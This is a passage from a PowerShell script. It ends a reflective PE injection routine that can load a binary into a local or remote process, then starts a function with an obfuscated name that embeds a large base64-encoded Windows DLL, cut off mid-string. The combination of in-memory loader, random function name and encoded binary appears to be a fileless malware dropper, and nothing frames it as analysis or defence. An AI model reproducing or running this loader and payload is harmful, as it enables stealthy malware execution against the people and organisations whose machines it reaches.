  2739.     else
  2740.     {
  2741.         $ExeArgs = "ReflectiveExe"
  2742.     }
  2743.  
  2744.     if ($ComputerName -eq $null -or $ComputerName -imatch "^\s*$")
  2745.     {
  2746.         Invoke-Command -ScriptBlock $RemoteScriptBlock -ArgumentList @($PEBytes, $FuncReturnType, $ProcId, $ProcName,$ForceASLR)
  2747.     }
  2748.     else
  2749.     {
  2750.         Invoke-Command -ScriptBlock $RemoteScriptBlock -ArgumentList @($PEBytes, $FuncReturnType, $ProcId, $ProcName,$ForceASLR) -ComputerName $ComputerName
  2751.     }
  2752. }
  2753.  
  2754. Main
  2755. }
  2756.  
  2757. function Invoke-SMDTXJP
  2758. {
  2759.  
  2760. $PEBytes32 = "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AFBXag5oyAIAAGhg8AAQ6HI+AACNRdDGRdcAUFdqCmgVCQAAaGDwABDoWD4AAI1FpMZF0wBQagVqBl9XaLYCAABoYPAAEOg7PgAAg8RQxkWpAI1FnFBqBWoJaCIIAABoYPAAEOgdPgAAjUXMxkWhAFBqA2oQaNsIAABoYPAAEOgCPgAAjUW0xkXPAFBqBFdojAkAAGhg8AAQ6Og9AACNRfyJvQT///+Jhdz+//8z/41F7MZFuACJhej+//9HjUXox4Xk/v//lBEAEImF9P7//41F5ImFAP///41F4GoFWYmFDP///41FxImFGP///41FvGoGWomFJP///41F3ImN4P7//4mN7P7//8eF8P7//3URABCJjfj+///Hhfz+//9REgAQx4UI////axAAEIm9EP///8eFFP///wYTABDHhRz///8CAAAAx4Ug////oBMAEImVKP///8eFLP///9ITABCJhTD///+NRdiJhTz///+NRdSJhUj///+NRdCJhVT///+NRaSJhWD///+NRZyJhWz///+NRcyJhXj///+NRbSJRYSNhdz+//9qD1BWx4U0////AgAAAMeFOP////ERABDHhUD///8CAAAAx4VE////IRIAEImNTP///8eFUP///34QABCJlVj////HhVz///8DEQAQiY1k////x4Vo////FhEAEImNcP///8eFdP///1YRABCJjXz////HRYDDEAAQiVWIx0WMsBAAEOgvRQAAg8RIi/CNhaz+////dbBQ6PCgAABT6J4qAACDxAyF9nUHM8DpfQIAAOiPCQAAo/TVARC7YPAAEI1F8FBqCGoPaPgIAABT6As8AAAzwGaJRfiNRZBQaghqCGjUAwAAU+jyOwAAM8BmiUWYjYXQ/v//UGoKag5oOQgAAFPo1jsAADPAUGogaODUARBmiYXa/v//6B07AACDxEij7NUBEOj/LwAAo/DVARCFwHUPjUXwUOijPwAAWaPw1QEQ6PoCAACj6NUBEOgVMQAAo/jVARCFwHUPjUXwUOh8PwAAWaP41QEQ6GQsAACj/NUBEIXAdQ+NRfBQ6F8/AABZo/zVARDosy0AAKMA1gEQhcB1D41F8FDoQj8AAFmjANYBEOiyLgAAowTWARCFwHUPjUXwUOglPwAAWaME1gEQ6LAxAACFwI2V0P7//41NkA9EylHoBj8AAFmj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